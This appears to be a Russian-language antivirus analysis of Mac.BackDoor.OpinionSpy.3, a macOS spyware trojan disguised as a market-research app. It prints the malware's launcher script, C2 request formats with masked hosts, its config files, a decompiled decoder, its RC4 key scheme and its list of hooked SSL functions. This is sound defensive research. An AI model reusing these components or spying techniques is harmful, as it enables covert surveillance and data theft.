Mac.BackDoor.OpinionSpy.3 - новая версия трояна-бэкдора для Mac OS Х


Mac.BackDoor.OpinionSpy.3 - новая версия трояна-бэкдора, направленная на заражение операционных систем Mac OS X, с целью шпионажа за ее пользователями.


Распространяется Mac.BackDoor.OpinionSpy.3 на сайтах, предлагающих загрузку ПО для Mac OS X, с использованием следующей схемы:

  • Пользователь с сайта загружает дистрибутив приложения, в составе которого входит файл poinstall, запускающийся при старте инсталлятора. При этом пакет приложения сделан так, что при его запуске у пользователя будут запрошены привилегии администратора.
  • Файл poinstall обращается к управляющему серверу с POST-запросом, в ответ на который получает ссылку на загрузку пакета с расширением .OSA. Внутри этого пакета располагается ZIP-архив с обновлением этого дроппера.
  • Программа установки извлекает из архива исполняемый файл с именем PremierOpinion и .XML-файлом, которые содержат все необходимые для его работы конфигурационные данные. После чего запускает этот файл.
  • Запустившись на инфицированном компьютере, приложение PremierOpinion также устанавливает соединение с управляющим сервером, получает ссылку на загрузку еще одного пакета с расширением .OSA, из которого извлекает полноценное приложение с именем PremierOpinion, являющееся полезной нагрузкой. Данное приложение включает несколько исполняемых файлов, среди которых:
    • /Applications/PremierOpinion/PremierOpinion.app/Contents/MacOS/PremierOpinion — программа, в которой отсутствует какой-либо вредоносный функционал;
    • /Applications/PremierOpinion/PremierOpinion.app/Contents/Resources/PremierOpinionD.app/Contents/MacOS/PremierOpinionD - бэкдор.


Троянская программа получает администраторские права в процессе установки и работает в системе с привилегиями администратора. Если на начальном этапе инсталляции выбрать в окне программы установки вариант "I Disagree", то на компьютер будет помещена только программа, которую пользователь скачивал из Интернета без каких-либо дополнительных шпионских компонентов.

Install Free Video Cutter Joiner

Если же пользователь выберет вариант "I Agree", помимо скачанного им приложения на компьютер будет установлена еще и программа PremierOpinion, значок которой появится в командной панели и списке установленных приложений.

Интерфейс программы PremierOpinion достаточно лаконичен.

Interface Premier Option

При нажатии на кнопку Uninstall в окне приложения программа полностью удаляется. По щелчку мышью на значке приложения в командной панели запускается браузер, в окне которого открывается веб-страница с описанием приложения PremierOpinion, позиционируемого разработчиками, как утилита для проведения маркетинговых исследований.

PremierOption.com

https://post.************.com:443/precampaigncheck.aspx?campaign_id=%d

где %d – параметр campaign id, указанный входным параметром. Если был указан параметр -url, то в дальнейшем будет использоваться адрес указанный этим параметром (в конец URL будет дописано значение "?campaign_id=%d").

В ответ на этот запрос дроппер получает с управляющего сервера XML-файл, содержащий три секции:
<Status>.. </Status>, <RegistryKey> .. </RegistryKey>, <Campaign_Check_Url> .. </Campaign_Check_Url>:

<?xml version="1.0"?>
<Content>
  <Status>1</Status>
  <RegistryKey>/private/tmp/poDemo.txt</RegistryKey>
  <Campaign_Check_Url>https://post.************.com/CampaignStatusV2.aspx</Campaign_Check_Url>
</Content>

Установка не будет осуществляться, если поля Status или RegistryKey имеют нулевое значение. Параметр Campaign_Check_Url содержит адрес управляющего сервера, на который отправляется собранная трояном информация.

После этого poinstall передает на сервер собранную с инфицированного компьютера информацию в виде запроса:

https://post.************.com:443/campaignstatus.aspx?campaign_id=%d&os_type=
%d&ver=%s&mon=%d&monver=%s&time=%d&exe_name=%s&os_version=%s

где:

  • campaign_id – идентификатор ID для данной сборки вредоносной программы;
  • os_type - "210";
  • ver - версия файла ("1.0.0.21");
  • mon – предположительно, флаг наличия "лицензионного ключа";
  • monver - предположительно, содержимое файла с лицензионным ключом;
  • time – текущее время;
  • exe_name - имя запущенного файла;
  • os_version - версия ОС в формате OSVersionMajor.OSVersionMinor.OSVersionBugFix.


В ответ на этот запрос бэкдор должен получить XML-файл, содержащий следующие данные:

<Status> .. </Status>
<UpgradePackage> .. </UpgradePackage>
<Landing_Page> .. </Landing_Page>
<BIDC> .. </BIDC>
<top> .. </top>
<left>  .. </left>
<width> .. </width>
<height> .. </height>
<minimize> .. </minimize>
<sleep> .. </sleep>
<Package_Name> .. </Package_Name>
<RegistryPost> .. </RegistryPost>
<Preinstall_Page> .. </Preinstall_Page>
<Uninstall_Page> .. </Uninstall_Page>
<POST_ACTION>

Поле <Package_Name> может содержать URL для загрузки файла с расширением .OSA. Файлы данного типа упакованы с использованием ZLIB и имеют следующий формат:

struct st_osarchive_header
{
  DWORD sig0;
  DWORD sig4;
  BYTE data[0x30];
};
struct st_osarchive_dir
{
    DWORD signature;
    DWORD signature2;
    DWORD compressed_size;
    DWORD decompressed_size;
    BYTE byte10[0x10];
    char filename[0x60];
};
 
 
struct st_osarchive_file
{
  st_osarchive_header header;
  st_osarchive_dir dir1;
  BYTE dir1_data[];
  ...
  st_osarchive_dir dirN;
  BYTE dirN_data[];
}

Для данного приложения файл .OSA содержит только один вложенный ZIP-архив, в котором размещаются два файла:

PremierOpinion
upgrade.xml

Первый из которых представляет собой mach-o файл, второй содержит параметры его запуска:

<xml>
<install brand="PremierOpinion">
<file name="PremierOpinion" dest="%TMPROOT%" postCall=" -install -o:256
-start -uninst:PremierOpinion">
</file>
</install>
</xml>

Приложение poinstall распаковывает данный архив, извлекая из него указанные файлы и запускает на исполнение программу PremierOpinion. Данное приложение также работает только с правами администратора и использует в качестве лог-файла текстовый документ /var/run/installerUserMsg.txt. Затем приложение отсылает на управляющий сервер следующий post-запрос:

http://rules.*************.com/oss/rule14m.asp?cur=3.0.3.1&os=mac2&osmajorver=10
&lang=en-us&country=&test=1&ossname=PremierOpinion

В ответ получает XML файл следующего содержания:

<xml>
<autoupgrade>
    <package src="http://oss-content.*************.com/oss/data/
PremierOpinion_3.0.2.14.osa" restartOSS="false" version="3.0.2.14">
             <file name="%OSSBRANDROOT%\PremierOpinion.app" version="3.0.2.14" />
                <file name="%OSSBRANDROOT%\.PremierOpinionrn.sh" version="3.0.2.14" />
    </package>
</autoupgrade>
</xml>

Загруженный с управляющего сервера пакет PremierOpinion_3.0.2.14.osa сохраняется в папку

  • /private/var/run/

префиксом к имени файла добавляется ' . '. Затем содержимое пакета распаковывается в папку

  • /private/var/run/.autoupgrade/

после этого дроппер копирует распакованное приложение в папку

  • "/Application/PremierOpinion/"

и запускает бэкдор.

Содержимое файла PremierOpinion_3.0.2.14.osa:

.bms (folder)
PremierOpinion.app (folder)
PremierOpinion.plist
.PremierOpinionrn.sh
upgrade.xml

Каталог .bms содержит плагины для браузеров Chrome и Firefox, каталог PremierOpinion.app представляет собой устанавливаемое приложение, PremierOpinion.plist – файл plist, устанавливаемый в папку /Library/LaunchDaemons/ для автоматической загрузки приложения, .PremierOpinionrn.sh - скрипт, с использованием которого будет запускаться приложение. Он имеет следующее содержание:

#!/bin/sh
MACMETER_PATH=/Applications/PremierOpinion/PremierOpinion.app/Contents/Resources
ACCESSIBILITY_FILE_PATH=/private/var/db/.AccessibilityAPIEnabled
if [ -f $ACCESSIBILITY_FILE_PATH ]
then
 exec $MACMETER_PATH/PremierOpinionD.app/Contents/MacOS/PremierOpinionD
else
 touch $ACCESSIBILITY_FILE_PATH
 exec $MACMETER_PATH/PremierOpinionD.app/Contents/MacOS/PremierOpinionD --DisableAccessibility
fi

Основной вредоносный функционал бэкдора сосредоточен в файле PremierOpinionD.

Разработчики утверждают, что программа PremierOpinion будет следить за историей покупок пользователя и время от времени станет предлагать ему принять участие в маркетинговом исследовании. Для этого необходимо будет ответить лишь на ряд вопросов специальной анкеты. На самом деле функциональные возможности Mac.BackDoor.OpinionSpy.3 намного шире заявленных и определяются получаемыми с управляющего сервера конфигурационными файлами. Например:

  • Троян устанавливает свой plist в папку /Library/LaunchDaemons/, благодаря чему обеспечивается его автоматический запуск при отказе программы или перезагрузке системы.
  • Устанавливает в браузеры Google Chrome и Mozilla Firefox специальное расширение, отслеживающее активность пользователя: открываемые ссылки, демонстрируемые рекламные блоки, переход по ссылкам (включая реферер), открываемые в окне браузера вкладки. Вся собранная информация методом POST передается на локальный порт 8254, который служит для обмена данными между расширениями и трояном, а уже сама троянская программа пересылает их на управляющий сервер.
  • Сбор различной информации о посещаемых сайтах по определенным правилам.
  • Отслеживание трафика, который транслируется через сетевые интерфейсы компьютера. На всех доступных Ethernet-интерфейсах отслеживаются HTTP-пакеты, трафик клиентов для обмена мгновенными сообщениями (Microsoft Messenger, Yahoo! Messenger, AIM, iChat), RTMP-трафик.
  • Троян встраивает собственную библиотеку в процессы браузеров и приложение iChat с целью перехвата некоторых функций работы с сетью.
  • Периодически демонстрирует на экране окно с анкетой для участия в "маркетинговом исследовании".
  • Модуль Mac.BackDoor позволяет осуществлять сканирование жесткого диска и всех смонтированных в системе носителей, выполнять поиск файлов, соответствующих заданному вирусописателями правилу, и отправлять информацию об этих файлах на удаленный сервер.
  • Троянская программа отсылает злоумышленникам сведения об инфицированном компьютере, включая данные об аппаратной конфигурации, список запущенных процессов и т. д.
  • Установка собственных обновлений незаметно для пользователя.


Отметим, что в браузере Safari Mac.BackDoor.OpinionSpy.3 нарушает работу модуля его локализации.

Extensions

Для своей работы приложение использует как локальный, так и удаленный конфигурационные файлы, в которых задаются параметры его работы. Пример удаленного конфигурационного файла приведен ниже:

<XML update="144">
    <REMOTE_CONFIG
        sendContentIDToServer="true"
        enableHTMLScanning="false"
        enablePopupScanning="false"
        filterContentID="true"
        enableNSCheck="false"
        enableCSLOAStatistics="true"
        enableEtrendPull="true"
        enableEtrendPullDebug="false"
        systemScanInterval="86400"
        fileScanInterval="172800"
        speedTestInterval="172800"
        ProcessListUploadInterval ="12"
        enableActivity="true"
        enableMSN8NSCheck="true"
        enableBrowserMonitor="true"
        enableDitto="false"
        speedTestLFThreshold="10000"
        speedTestLFInterval="172800"
        enableRemoteTrace="false"
        enableBioMetricMonitor="true"
        bioSignatureLength="5"
        SpeedTestUploadSize="16384"
        MetaDescriptionMaxSize="1024"
        enableUpgradePing="true"
        speedTestDownloadDir="http://rules.**********.com/oss/"
        downloadTestInterval="0"
        ELK="2CB27AB060464C682D9AFB01CABACD518297266B8B248CEB972ABDE1737E16D1
4E8C19A5C97432989F598B0537F50A78AF6EDBDAAA5F499F"
        EnableAdView="false"
        RemoveEVS2="true"
        ContentIDPostURL="https://oss-content.***********.com/cidpost"
        BandWidthIdleTime="300000"
        NoOfSnifferQueueThreads="1"
        FFXSpdy="D:35"
        DisableChromeSpdy="True"/>
</XML>

Для обеспечения связи с удаленным сервером в приложении хранятся адреса различных ресурсов управляющего сервера, предназначенных для получения правил или отправки данных:

"http://rules.***********.com/oss/rule21.asp";
  "http://rules.*************.com/oss/rule1.asp";
  "http://rules.*************.com/oss/rule4.asp";
   "https://oss-content.*************.com/scripts/contentidpost.dll";
  "http://rules.*************.com/oss/rule14m.asp";
"http://oss-survey.*************.com/oss/survey.asp";
"http://rules.*************.com/oss/rule10.asp";
"http://rules.*************.com/oss/rule36.asp";
"http://rules.*************.com/oss/rule22.asp";
"http://hawk.*************.com:8080/dd/dd.aspx";
"http://hawk.*************.com:8080/fd/fd.aspx";
  "http://hawk.*************.com/efsi.aspx";
  "http://hawk.*************.com:8080/ei/ei.aspx";
  "http://hawk.*************.com:8080/dm/dm.aspx";
  "http://hawk.*************.com:8080/ita/ita.aspx";
 "http://hawk.*************.com/oss_speed_save.asp";
 "http://hawk.*************.com/oss_speed_save.asp");
  "http://post.*************.com/ossremove.aspx";
  "https://post.*************.com/ossreceive.aspx";
  "http://rules.*************.com/oss/rule7.asp";
  "http://rules.*************.com/oss/rule11.asp";
  "http://rules.*************.com/oss/rule17.asp";
  "https://post.*************.com/getmembers.aspx";
  "http://rules.*************.com/oss/rule23.asp";
  "http://rules.*************.com/oss/rule6.asp";
  "http://rules.*************.com/oss/rule19.asp";
  "http://rules.*************.com/oss/rule24.asp";
  "http://rules.*************.com/oss/rule29.asp";
  "http://rules.*************.com/oss/rule15.asp";
  "http://rules.*************.com/oss/rule20.asp";
  "http://hawk.*************.com:80/fs.aspx";
  "http://post.*************.com/scripts/debugpostmac.dll";
  "http://rules.*************.com/oss/rule26.asp";
  "http://rules.*************.com/oss/rule35.asp";
  "http://rules.*************.com/oss/rule39.asp";

Часть данных передается в незашифрованном виде, часть – шифруется, если запрашиваемый URL содержит ключевое значение rule, и при совпадении поля "Content-Type" со строкой "application/octet-stream", при этом шифрование двухступенчатое:

  • Шифрование, кодирующее бинарные данные в текстовое представление.
  • Шифрование с использованием алгоритма RC4, для каждого URL генерируется свой ключ, фиксированный для всех запросов по данному URL.


Функция дешифровки из текстового представления имеет вид:

char table[] =
{0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFE,0xFE,0xFF,0xFF,0xFE,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFE,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x3E,0xFF,0xFF,0xFF,0x3F,
0x34,0x35,0x36,0x37,0x38,0x39,0x3A,0x3B,0x3C,0x3D,0xFF,0xFF,0xFF,0xFE,0xFF,0xFF,
0xFF,0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0A,0x0B,0x0C,0x0D,0x0E,
0x0F,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0x1A,0x1B,0x1C,0x1D,0x1E,0x1F,0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27,0x28,
0x29,0x2A,0x2B,0x2C,0x2D,0x2E,0x2F,0x30,0x31,0x32,0x33,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF};

unsigned int base64_decrypt(unsigned __int8 *indata,unsigned int indata_size,unsigned __int8
*outdata,unsigned __int8 flag)
{
    unsigned __int8 s = 0;
    unsigned int decrypted_data_len = 0;
    int k = 8;
    int n = 8;
    unsigned int j = 0;
    unsigned int i = 0;
   
    while ( i < indata_size )
    {
        char dec_byte = table[indata[i]];
        if ( flag && dec_byte == 0xFFu )
            return -1;
        if ( dec_byte >= 0 )
        {
            int v = k - 6;
            int b = n;
            if ( n > 6 )
            {
                b = 6;
            }
            unsigned __int8 tmp = s | ((unsigned __int8)(4 * dec_byte) >> (8 - b));
            if ( v <= 0 )
            {
                outdata[j] = tmp;
                ++decrypted_data_len;
                ++j;
                n = v + 8;
                tmp = (unsigned __int8)((unsigned __int8)(4 * dec_byte) << b) >> (v + 8);
            }
            else
            {
                n = k - 6;
            }
            k = n;
            s = tmp << n;
        }
        ++i;
    }  
    return decrypted_data_len;
}

RC4-ключ имеет вид:

psa.XXelur20YY

где YY - значение rule, извлекаемое из запроса, а XX - то же значение, в котором цифры расположены в обратном порядке. Например, для запроса на rule36.asp RC4-ключ имеет вид:

psa.63elur2036

Модуль трояна, FileInventory, осуществляет поиск файлов и каталогов по заданной маске среди локальных файлов зараженного компьютера, а также на всех подмонтированных дисках. В каталоге /Users/ из поиска исключается каталог "/Users/Shared/".

На вход модуль принимает одно или несколько xml-правил следующего вида:

<xml>   <file_inventory path="" pattern="" handledirectory="" blacklist=""/> </xml>

  • Где, path - путь, по которому выполняется поиск необходимых файлов и каталогов;
  • pattern - маска, по которой будет происходить поиск;
  • handledirectory – поиск каталогов;
  • blacklist - флаг, говорящий о том, что из результатов поиска нужно исключить найденные по этому правилу файлы или каталоги.


При этом одно или несколько полей может отсутствовать. На текущий момент были перехвачены и расшифрованы два правила для данного модуля. Для ОС Mac OS X:

<xml>
    <file_inventory pattern="*.app" handledirectory="true"/>
</xml>

Согласно данному правилу, троян собирает список всех установленных приложений. Для ОС Windows троян также собирает данные о множестве установленных в системе приложений.

Промежуточные результаты сканирования сохраняются в файл /Application/PremierOpinion/shfscp.dat, который упаковывается GZIP. Первый DWORD файла изменен с использованием операции XOR с константой 0xFFABCDFF. Пример распакованного содержимого файла:

/
/.fseventsd
no
366
47
2
0
33554432
1
0
0
0
0
0
32
126002                  1       0       0
41153                   1       0       0
btree                   1       65536   65536
created                 1       0       0
db                      2       5050368 10100736
directorystorefile                      3       1048576 1638400
ds_store                        1       12292   12292
file                    1       0       0
indexarrays                     3       6291456 11620160
indexcompactdirectory                   3       4140    9260
indexdirectory                  3       16448   32896
indexgroups                     3       104858  160564
indexhead                       3       4096    12288
indexids                        3       1048576 1605632
indexpositions                  3       33554432        35655680
indexpositiontable                      3       4194304 7136936
indexpostings                   3       8388608 16781312
indextermids                    3       4194304 7136936
indexupdates                    3       178061  178084
modified                        1       0       0
plist   TextEdit.app            2       3266    3614
shadow                  3       1048576 2228224
shadowindexarrays                       1       6291456 6291456
shadowindexcompactdirectory                     1       3204    3204
shadowindexdirectory                    1       14392   14392
shadowindexgroups                       2       82054   113869
shadowindexhead                 2       4096    8192
shadowindexpositiontable                        1       3508968 3508968
shadowindextermids                      1       3508968 3508968
snowleopard                     1       0       0
txt     TextEdit.app            294     192621  1949679
updates                 2       3       5
0
0
0

Перед отправкой на управляющий сервер данные сжимаются с использованием GZIP, шифруются с использованием собственной реализации алгоритма base64 и пересылаются с помощью POST-запроса. Модуль также собирает информацию об известных системе файловых расширениях и списке подключенных устройств.

Кроме всего прочего, троянская программа способна собирать информацию о посещенных пользователем сайтах на основе набора правил, например, по совпадению логической пары "домен - ключевое слово", по совпадению параметров "домен - ключевое слово" в блоке кода или по совпадению URL со значением из заданного списка (совпадения ищутся по списку, включающему более 500 доменов). Также вредоносная программа может отслеживать просмотренные пользователем видеоролики:

<xml update="144"><silverlightnw pattern_kw=".*/qualitylevels.*/fragments.*"
trim_kw="/qualitylevels" />
<silverlightnw pattern_kw="http:\/\/netflix([\d]+).*(?:isma|ismv|wma|wmv)\/range.*
(token=[\d]+)_.*" trim_kw="" />
<silverlightnw pattern_kw="http:\/\/netflix-([\d]+).*(?:isma|ismv|wma|wmv)\/range.*
(&e=[\d]+).*" trim_kw="" />
<silverlightnw pattern_kw="http:\/\/nflx.*(?:isma|ismv|wma|wmv)\/range.*(moviehash=[\d]+).*"
trim_kw="" />
<silverlightnw pattern_kw=".*nflximg\.com.*(?:isma|ismv|wma|wmv)\/range.*(moviehash=[\d]+).*"
trim_kw="" />
<silverlightnw pattern_kw="http://nflx.*(?:isma|ismv|wma|wmv)/range.*(e=[\d]+).*" trim_kw="" />
<silverlightnw pattern_kw="http://nflx.*(?:isma|ismv|wma|wmv)/range.*(token=[\d]+).*"
trim_kw="" />
<silverlightnw pattern_kw=".*nflximg\.com.*(?:isma|ismv|wma|wmv)\/range.*(e=[\d]+).*"
trim_kw="" />
<silverlightnw pattern_kw=".*nflxvideo\.net.*(?:isma|ismv|wma|wmv)\/range.*(e=[\d]+).*"
trim_kw="" />
<silverlightnw pattern_kw=".*nflxvideo\.net.*(?:isma|ismv|wma|wmv)\/range.*(moviehash=[\d]+).*"
trim_kw="" />
<silverlightnw pattern_kw="http://([\d]+).*nflxvideo\.net.*(?:isma|ismv|wma|wmv)\/range.*
(token=[\d]+).*" trim_kw="" />
<!-- Streaming rule to collect records for netflix Canada. Requested by Stephanie Johnson
04/18/2013 -->
<silverlightnw pattern_kw="http://.*(?:isma|ismv|wma|wmv)/range.*(e=[\d]+).*" trim_kw="" />
<flvRule pattern_kw="http://.*c.youtube.com/videoplayback?.*id=([\w]+).*" />
<flvRule pattern_kw="http://.*c.youtube.com/videoplayback/.*id/([\w]+).*" />
<flvRule pattern_kw="http://.*c.youtube.com/mediastream?.*id=([\w]+).*" />
<flvRule pattern_kw="http://.*c.youtube.com/mediastream/.*id/([\w]+).*" />
<flvRule pattern_kw="http://.*/z/nbc-hls/([\w]+).*_Seg.-Frag.*" /></xml>

С целью перехвата ряда сетевых функций троян встраивает собственную библиотеку в процессы браузеров Safari, Chrome, Firefox. Выполняется перехват функций:

  • "_CFSocketGetNative";
  • "_SSLWrite";
  • "_SSLHandshake";
  • "_SSLClose";
  • "_SSLRead";
  • "_CFWriteStreamWrite".


Встраиваясь в процесс ichatagent, вредоносная программа перехватывает функцию "_SSLWrite".